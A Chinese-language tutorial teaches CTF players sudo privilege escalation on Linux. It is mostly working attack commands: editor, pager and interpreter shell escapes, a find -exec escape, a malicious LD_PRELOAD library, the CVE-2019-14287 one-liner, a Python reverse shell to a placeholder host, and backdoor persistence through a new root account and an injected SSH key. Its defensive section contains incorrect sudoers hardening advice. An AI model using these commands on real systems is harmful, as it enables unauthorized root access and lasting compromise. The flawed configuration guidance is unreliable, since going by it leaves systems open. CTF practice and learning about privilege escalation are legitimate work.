1. 从零开始理解sudo提权:CTF选手的必备技能
在CTF夺旗赛的Linux系统渗透环节,sudo提权是最基础也最关键的突破口之一。作为一名参加过数十场CTF比赛的选手,我发现90%的初级题目都会涉及sudo权限配置不当的问题。与直接获取root权限的漏洞利用不同,sudo提权更考验选手对Linux权限体系的理解和日常命令的灵活运用。
sudo(Superuser Do)机制本质上是一种精细化的权限委托系统。管理员通过/etc/sudoers文件,可以精确控制哪些用户能够以root身份执行哪些命令。在安全配置良好的生产环境中,这确实提高了系统安全性。但在CTF场景中,出题人往往会故意留下一些"后门"——比如允许普通用户以root身份运行vim或python等具有系统调用能力的命令。
提示:在真实渗透测试中,获得初始立足点后要立即执行
sudo -l命令,这应该成为你的肌肉记忆。
2. 深度解析sudo权限机制
2.1 sudoers文件:权限控制的神经中枢
/etc/sudoers文件的语法看似简单,实则暗藏玄机。一个典型的授权规则如下:
user1 ALL=(ALL:ALL) NOPASSWD: /usr/bin/vim, /usr/bin/python3这条规则包含多个关键信息:
user1:被授权用户ALL=:可以在任何主机上执行(ALL:ALL):可以以任何用户和组的身份执行NOPASSWD::执行时不需要密码验证- 最后是允许执行的命令列表
在CTF比赛中,我们需要特别关注具有以下特征的命令:
- 可以执行系统命令的解释器(python/perl/ruby等)
- 具有shell转义功能的编辑器/查看器(vim/less/more等)
- 能够读写系统关键文件的工具(find/cp/mv等)
2.2 信息收集:sudo -l的全面解读
执行sudo -l后,可能会看到几种典型结果:
最危险的情况:
User user1 may run the following commands on target: (ALL) NOPASSWD: ALL这表示可以直接通过sudo su或sudo bash获取root shell。
常见CTF场景:
User user1 may run the following commands on target: (root) NOPASSWD: /usr/bin/vim, /usr/bin/find, /usr/bin/python3这种配置就需要我们运用特定命令的提权技巧。
需要密码的情况:
User user1 may run the following commands on target: (root) ALL: /usr/bin/apt-get如果知道当前用户密码仍可利用,但CTF中通常不会设置这种障碍。
3. 实战提权:十大经典手法详解
3.1 编辑器逃逸:vim/vi的妙用
当发现可以无密码运行vim时,提权变得异常简单:
sudo vim /any/file在vim界面中,执行:
:set shell=/bin/sh :shell或者更直接的:
:! /bin/sh经验之谈:新版vim可能会限制shell转义,此时可以尝试通过vim脚本写入SUID文件:
:call system('chmod +s /bin/bash') :q然后执行
/bin/bash -p获取root权限。
3.2 分页器逃逸:less/more的另类玩法
利用less提权的经典流程:
sudo less /etc/passwd在less界面中键入:
! /bin/sh系统就会弹出一个root shell。
有趣的是,这个特性在man命令中同样适用:
sudo man man ! /bin/sh3.3 解释器执行:python/perl的一行代码
当python可用时,提权只需一行:
sudo python3 -c 'import os; os.system("/bin/sh")'perl版本同样简洁:
sudo perl -e 'exec "/bin/sh";'3.4 find命令的exec参数利用
find的exec参数可以执行任意命令:
sudo find / -name "*" -exec /bin/sh \; -quit这个命令会:
- 从根目录开始搜索所有文件
- 对每个文件执行/bin/sh
- -quit参数确保找到第一个文件后就退出搜索
3.5 老版本nmap的交互模式
某些旧版nmap(如5.0版本)支持交互模式:
sudo nmap --interactive nmap> !sh如果交互模式被禁用,还可以尝试脚本模式:
echo "os.execute('/bin/sh')" > /tmp/exp.nse sudo nmap --script=/tmp/exp.nse4. 提权后的关键操作
4.1 稳定shell的技巧
通过上述方法获取的shell往往是"非交互式"的,会导致以下问题:
- 无法使用Tab补全
- 无法使用方向键查看历史命令
- Ctrl+C可能会断开会话
解决方法:
python3 -c 'import pty; pty.spawn("/bin/bash")'或者:
script -qc /bin/bash /dev/null4.2 持久化访问的建立
在CTF中通常不需要,但在真实渗透测试中可能需要:
# 添加root权限用户 echo "backdoor:$(openssl passwd -1 password):0:0::/root:/bin/bash" >> /etc/passwd # 或者写入SSH密钥 mkdir -p /root/.ssh echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorized_keys5. 防御视角:安全配置指南
5.1 sudoers文件的最佳实践
- 最小权限原则:
# 错误示范 user1 ALL=(ALL) NOPASSWD: ALL # 正确示范 user1 ALL=(root) NOPASSWD: /usr/bin/apt update- 禁用危险命令:
# 禁止shell转义 Defaults !use_pty Defaults !requiretty # 限制危险命令 Cmnd_Alias DANGER = /usr/bin/vim, /usr/bin/vi, /usr/bin/python*, /usr/bin/perl* user1 ALL=(ALL) !DANGER- 日志审计:
# 记录所有sudo操作 Defaults logfile="/var/log/sudo.log" Defaults log_input, log_output5.2 系统加固建议
- 定期审计sudo权限:
grep -E 'NOPASSWD|ALL' /etc/sudoers /etc/sudoers.d/*- 使用visudo编辑配置,避免语法错误:
visudo -f /etc/sudoers.d/custom_rules- 限制sudo会话时间:
Defaults timestamp_timeout=5 # 5分钟后需要重新输入密码6. CTF实战中的进阶技巧
6.1 环境变量利用
某些情况下可以通过LD_PRELOAD提权:
# 编译恶意so库 echo 'void _init() { system("/bin/sh"); }' > exp.c gcc -fPIC -shared -o exp.so exp.c # 通过sudo执行 sudo LD_PRELOAD=./exp.so /usr/bin/anycommand6.2 Sudo版本漏洞利用
历史上存在多个sudo漏洞,如CVE-2019-14287:
sudo -u#-1 /bin/bash这个漏洞允许将用户ID设置为-1(即0的补码表示)从而获得root权限。
6.3 组合利用技巧
在实际CTF中,往往需要组合多种技术:
- 先用find命令查找可写目录
- 用python生成反弹shell脚本
- 通过sudo执行脚本获取稳定会话
示例:
sudo find / -perm -o=w -type d 2>/dev/null echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /tmp/exp.py sudo python3 /tmp/exp.py7. 训练建议与资源推荐
7.1 本地实验环境搭建
推荐使用Docker快速搭建练习环境:
docker run -it --rm -v /tmp:/tmp ubuntu bash然后在容器内配置sudo规则进行练习。
7.2 在线练习平台
- OverTheWire Bandit:渐进式Linux提权挑战
- HackTheBox:真实场景的提权挑战
- VulnHub:各类漏洞环境的提权练习
7.3 推荐学习路径
- 先掌握基础命令的提权方法(vim/python/find)
- 学习sudoers文件的语法和配置
- 研究历史sudo漏洞(CVE)的利用方式
- 参与CTF比赛积累实战经验
我在实际CTF比赛中发现,很多选手虽然知道sudo提权的基本概念,但遇到稍微变化的场景就束手无策。建议在本地虚拟机中反复练习各种提权技巧的组合使用,培养对权限问题的敏感度。记住,在真实的渗透测试中,从普通用户到root的这一步突破往往是最关键���转折点。